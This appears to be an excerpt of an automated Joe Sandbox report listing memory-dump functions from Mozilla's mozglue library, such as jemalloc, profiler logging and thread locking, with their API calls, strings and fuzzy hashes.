_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CEF31A7), ref: 6CF30627

Strings

<jemalloc>, xrefs: 6CF305FA, 6CF3060F
: (malloc) Error in VirtualFree(), xrefs: 6CF3061B, 6CF30625

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: e0f7eff334a8e6defad00ef6e1e5f1f947a158a83e5b8d03a6f602a342a40b12
Instruction ID: bb9d04fe55550613ba6e601363ee60bf055df3b72dc616f57767b6d8749bc901
Opcode Fuzzy Hash: e0f7eff334a8e6defad00ef6e1e5f1f947a158a83e5b8d03a6f602a342a40b12
Instruction Fuzzy Hash: 1CE08CE2A0116037F9142256BC86EBB761CDBC6534F180039FD0D83701E94AAD1A51F6

Function 6CF49240 Relevance: 9.3, APIs: 6, Instructions: 289timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CF49BAE
free.MOZGLUE(?,?), ref: 6CF49BC3
free.MOZGLUE(?,?), ref: 6CF49BD9

Part of subcall function 6CF493B0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CF494C8
Part of subcall function 6CF493B0: free.MOZGLUE(6CF49281,?), ref: 6CF494DD

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 8b2f246e6f3b3e479ea62d4163758f4f25d86237c02e3cef89d37c7c276d0f4e
Instruction ID: 538633e8bb85452a33e3f33364497d2c11a362fb5a61b38e6c58e15aca996741
Opcode Fuzzy Hash: 8b2f246e6f3b3e479ea62d4163758f4f25d86237c02e3cef89d37c7c276d0f4e
Instruction Fuzzy Hash: 71B19171A087058BCB01CF58C58059FFBF9FFC9328B148619E859AB746DB31EA45CB91

Function 6CF005F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67f00933b369e864c0e944bb1e8ffb0b8b585702eda3529173a343b93e96f90c
Instruction ID: e4cc62d001815377c912afbc7bf2fff0c2fd85d884b7439bf0986fe6b436e20a
Opcode Fuzzy Hash: 67f00933b369e864c0e944bb1e8ffb0b8b585702eda3529173a343b93e96f90c
Instruction Fuzzy Hash: 52A169B1A00655CFDB24CF29C994B9AFBF1BF48704F44866ED44A97B00E770AA45CFA0

Function 6CF371A0 Relevance: 9.2, APIs: 2, Strings: 4, Instructions: 212COMMON

Download Yara Rule

APIs

Part of subcall function 6CF36060: moz_xmalloc.MOZGLUE(00000024,D353D53E,00000000,?,00000000,?,?,6CF35FCB,6CF379A3), ref: 6CF36078

free.MOZGLUE(-00000001), ref: 6CF372F6
free.MOZGLUE(?), ref: 6CF37311

Strings

Spliced unique strings, xrefs: 6CF37340
333s, xrefs: 6CF3731B
Copied unique strings, xrefs: 6CF37320
333s, xrefs: 6CF37226

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: free$moz_xmalloc
String ID: 333s$333s$Copied unique strings$Spliced unique strings
API String ID: 3009372454-760240034
Opcode ID: 84a796703521a93734fa5d4cb8f205023edea056854961383cb9388181ab95b3
Instruction ID: 1d715171f2182c9793ec58ade8c670b663e47f454a5356a102ab4bd8f044f68c
Opcode Fuzzy Hash: 84a796703521a93734fa5d4cb8f205023edea056854961383cb9388181ab95b3
Instruction Fuzzy Hash: DC716471F00619DFDB18CF59C99069DB7B2AF94314F25812AD80DAB750DB31A946CBC1

Function 6CF514A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CF514C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CF514E2
GetCurrentThreadId.KERNEL32 ref: 6CF51546
InitializeConditionVariable.KERNEL32(?), ref: 6CF515BA
free.MOZGLUE(?), ref: 6CF516B4

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: c98a98462a5d7c66f2c4fb194f82b96cc2959cfe0939f13674177c731bae5262
Instruction ID: ea06d30d189b64ad59323ccda4beff1df5e52b81cd96c135c2284c93e194f8d4
Opcode Fuzzy Hash: c98a98462a5d7c66f2c4fb194f82b96cc2959cfe0939f13674177c731bae5262
Instruction Fuzzy Hash: 7361E232A007109BDB11CF24D880BDEBBB0BF8A308F44851DEE8A57701DB31E959CB91

Function 6CF4C160 Relevance: 9.2, APIs: 6, Instructions: 174COMMON

Download Yara Rule

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CF4C1F1
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CF4C293
fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CF4C29E

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: fgetc$memcpy
String ID:
API String ID: 1522623862-0
Opcode ID: 7c172020ca6d21ff297abbf1d9da60babdce1f83f4e6a7530a2584ee233e69f2
Instruction ID: 920aca6aaf58c1a419207b0c678a06edcf613fb7c0dec393fe1fc03923c96ec0
Opcode Fuzzy Hash: 7c172020ca6d21ff297abbf1d9da60babdce1f83f4e6a7530a2584ee233e69f2
Instruction Fuzzy Hash: 70619E71E00214CFCF15DFA8D8845AEBBB5FF49314F25952AE812A7751D731A948CFA0

Function 6CF49F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CF49FDB
free.MOZGLUE(?,?), ref: 6CF49FF0
free.MOZGLUE(?,?), ref: 6CF4A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CF4A0BE
free.MOZGLUE(?,?), ref: 6CF4A0D5
free.MOZGLUE(?,?), ref: 6CF4A0EB

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 977aea8fd26cef54530247b7b9945bd935d1de12a42c391857b755b4395213b7
Instruction ID: bcfaa99124a2c525e63cd474025f0260726a2378623728a1d78063a1b5da909f
Opcode Fuzzy Hash: 977aea8fd26cef54530247b7b9945bd935d1de12a42c391857b755b4395213b7
Instruction Fuzzy Hash: E961AD759087019FC711CF18C48059AB7F5FFC8328F548669E8999BB02EB32E986CBC1

Function 6CF4DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CF4DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CF4D38A,?), ref: 6CF4DC6F
free.MOZGLUE(?,?,?,?,?,6CF4D38A,?), ref: 6CF4DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CF4D38A,?), ref: 6CF4DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CF4D38A,?), ref: 6CF4DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CF4D38A,?), ref: 6CF4DD4A

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 6e122be26cc34facb1824d77cb8c30f2fc2d045de1f910a58744e10b80663f68
Instruction ID: 71985e91f0c6a87ef9739c687fcd48f28da8e3103fd0f4ed8f3e76547dbe0f07
Opcode Fuzzy Hash: 6e122be26cc34facb1824d77cb8c30f2fc2d045de1f910a58744e10b80663f68
Instruction Fuzzy Hash: 59416DB5A00615CFCB40CFA9C880A9ABBF5FF89314B558569DA45ABB12D771FC00CF90

Function 6CF36590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CF2FA80: GetCurrentThreadId.KERNEL32 ref: 6CF2FA8D
Part of subcall function 6CF2FA80: AcquireSRWLockExclusive.KERNEL32(6CF7F448), ref: 6CF2FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CF36727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CF367C8

Part of subcall function 6CF44290: memcpy.VCRUNTIME140(?,?,6CF52003,6CF50AD9,?,6CF50AD9,00000000,?,6CF50AD9,?,00000004,?,6CF51A62,?,6CF52003,?), ref: 6CF442C4

Strings

data, xrefs: 6CF36593

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 8c46989c00354adaaf0565ecbe7ddf947f42b6eb2d0f95c22a23091d4d7e4b65
Instruction ID: 15b64dd896fbaad33be7c9d5b26e57c5c48580722bc792dd5221803a679fdda2
Opcode Fuzzy Hash: 8c46989c00354adaaf0565ecbe7ddf947f42b6eb2d0f95c22a23091d4d7e4b65
Instruction Fuzzy Hash: 47D1CE75A083409FD724CF25D850B9BBBE1BFC5308F10892EE589C7B91DB71A909CB92

Function 6CF4C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CF4C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CF4C842

Part of subcall function 6CF4CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6CF6B5EB,00000000), ref: 6CF4CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6CF4C863
std::_Facet_Register.LIBCPMT ref: 6CF4C875

Part of subcall function 6CF2B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6CF6B636,?), ref: 6CF2B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CF4C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF4C8BC

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 1ae2742e5716cbf9491899a761a4115767ba3640bba6c435abab08bfab0df1f1
Instruction ID: 426c76252e4d5b6005b8a27da677e20439c54df4c23ae380860e06ec793e83a4
Opcode Fuzzy Hash: 1ae2742e5716cbf9491899a761a4115767ba3640bba6c435abab08bfab0df1f1
Instruction Fuzzy Hash: D111B271F002199FCF41DFA4D988AAF7B75EF8A354F104529EA0697341DB309908CBB1

Function 6CF40180 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 151threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CF40270
GetCurrentThreadId.KERNEL32 ref: 6CF402E9
AcquireSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF402F6
ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF4033A

Strings

about:blank, xrefs: 6CF4020F

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID: about:blank
API String ID: 2047719359-258612819
Opcode ID: f268a28c55b795b72d910cb23c1935d6e8d8beb4aa1f64ce27cdfe9e1ad57bff
Instruction ID: c563eb670eecc8d84b3427e41163e0592b0df6565f49142eb6d1531fafeb740b
Opcode Fuzzy Hash: f268a28c55b795b72d910cb23c1935d6e8d8beb4aa1f64ce27cdfe9e1ad57bff
Instruction Fuzzy Hash: 2151B171E00215CFCB40DF58D480AAABBF1FF89328F658519D91AA7B42D771BD45CBA0

Function 6CF3E100 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CF04A68), ref: 6CF3945E
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CF39470
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CF39482
Part of subcall function 6CF39420: __Init_thread_footer.LIBCMT ref: 6CF3949F

GetCurrentThreadId.KERNEL32 ref: 6CF3E12F
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,6CF3E084,00000000), ref: 6CF3E137

Part of subcall function 6CF394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CF394EE
Part of subcall function 6CF394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CF39508

?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE ref: 6CF3E196
?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE(?,?,?,?,?,?,?,?), ref: 6CF3E1E9

Part of subcall function 6CF399A0: GetCurrentThreadId.KERNEL32 ref: 6CF399C1
Part of subcall function 6CF399A0: AcquireSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF399CE
Part of subcall function 6CF399A0: ReleaseSRWLockExclusive.KERNEL32(6CF7F4B8), ref: 6CF399F8

Strings

[I %d/%d] WriteProfileToJSONWriter, xrefs: 6CF3E13F

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: getenv$?profiler_stream_json_for_this_process@baseprofiler@mozilla@@CurrentExclusiveLockSpliceableThreadWriter@12@$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] WriteProfileToJSONWriter
API String ID: 2491745604-3904374701
Opcode ID: 95c4f434a02bc8a8fd40787970cb852dba37773aa3b3b1281f61d329c4c4880c
Instruction ID: 4d7e4c66e21fa0e24541e779d623d30c4ada65ae872e3ac8bc5a653e9c3faf72
Opcode Fuzzy Hash: 95c4f434a02bc8a8fd40787970cb852dba37773aa3b3b1281f61d329c4c4880c
Instruction Fuzzy Hash: 803106B1A04711AFC7009F5994413AAF7E5AFCA608F14882EE8894BB41DB71CD0DC7E3

Function 6CF2F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CF2F480

Part of subcall function 6CEFF100: LoadLibraryW.KERNEL32(shell32,?,6CF6D020), ref: 6CEFF122
Part of subcall function 6CEFF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CEFF132

CloseHandle.KERNEL32(00000000), ref: 6CF2F555

Part of subcall function 6CF014B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CF01248,6CF01248,?), ref: 6CF014C9
Part of subcall function 6CF014B0: memcpy.VCRUNTIME140(?,6CF01248,00000000,?,6CF01248,?), ref: 6CF014EF

Part of subcall function 6CEFEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CEFEEE3

CreateFileW.KERNEL32 ref: 6CF2F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CF2F523

Strings

\oleacc.dll, xrefs: 6CF2F4CB

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 71571693c3b22bf9895258d30fc827af46d83b8fe61d7aeb644b9a24fa5ae8ae
Instruction ID: 38900aa4a8f65d237c15ecf5815b661a3c74ca817306959e899f7aca39a423b2
Opcode Fuzzy Hash: 71571693c3b22bf9895258d30fc827af46d83b8fe61d7aeb644b9a24fa5ae8ae
Instruction Fuzzy Hash: B941D2306287209FE761DFA9D885B9BB7F4AF45318F200A1CF59087650EB34D949CBA2

Function 6CF3E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CF04A68), ref: 6CF3945E
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CF39470
Part of subcall function 6CF39420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CF39482
Part of subcall function 6CF39420: __Init_thread_footer.LIBCMT ref: 6CF3949F

GetCurrentThreadId.KERNEL32 ref: 6CF3E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF3E04F

Part of subcall function 6CF394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CF394EE
Part of subcall function 6CF394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CF39508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF3E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CF3E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6CF3E057

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 3f91a85ea0d8a117f6b1aa217aa78fb1a5d5a8a7a11ea186a84fa47edda8268c
Instruction ID: eb307df637f18194639843292e12239f7f818c4059148d8f4023dcada5a89027
Opcode Fuzzy Hash: 3f91a85ea0d8a117f6b1aa217aa78fb1a5d5a8a7a11ea186a84fa47edda8268c
Instruction Fuzzy Hash: D221B0B5B01129AFDF009F64D858AEEB7B5AF85208F144414EC0A97741DB35AD09C7E1

Function 6CF574A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CF57526
__Init_thread_footer.LIBCMT ref: 6CF57566
__Init_thread_footer.LIBCMT ref: 6CF57597

Strings

UnmapViewOfFile2, xrefs: 6CF57552
kernel32.dll, xrefs: 6CF57557

Memory Dump Source

Source File: 0000000B.00000002.3298631150.000000006CEF1000.00000020.00000001.01000000.00000023.sdmp, Offset: 6CEF0000, based on PE: true

Associated: 0000000B.00000002.3298575090.000000006CEF0000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298804221.000000006CF6D000.00000002.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298880691.000000006CF7E000.00000004.00000001.01000000.00000023.sdmpDownload File
Associated: 0000000B.00000002.3298933795.000000006CF82000.00000002.00000001.01000000.00000023.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6cef0000_7847e34378.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 7159cbe1b3188551b420c7e351c16550f38c194ba390f906d00aca91606b7c43
Instruction ID: 7f739815b369a7f0b8c745dd6cc86c833d59725b3beddd2871a954d7065dbbb6
Opcode Fuzzy Hash: 7159cbe1b3188551b420c7e351c16550f38c194ba390f906d00aca91606b7c43
Instruction Fuzzy Hash: 72212831B21510DBCB958FE8A815F9A37B5EB57324F50852BDA0587F80C739A81386B6

Function 6CF5A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CF7F770,-00000001,?,6CF6E330,?,6CF1BDF7), ref: 6CF5A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6CF1BDF7), ref: 6CF5A7C2
moz_xmalloc.MOZGLUE(00000018,?,6CF1BDF7), ref: 6CF5A7E4
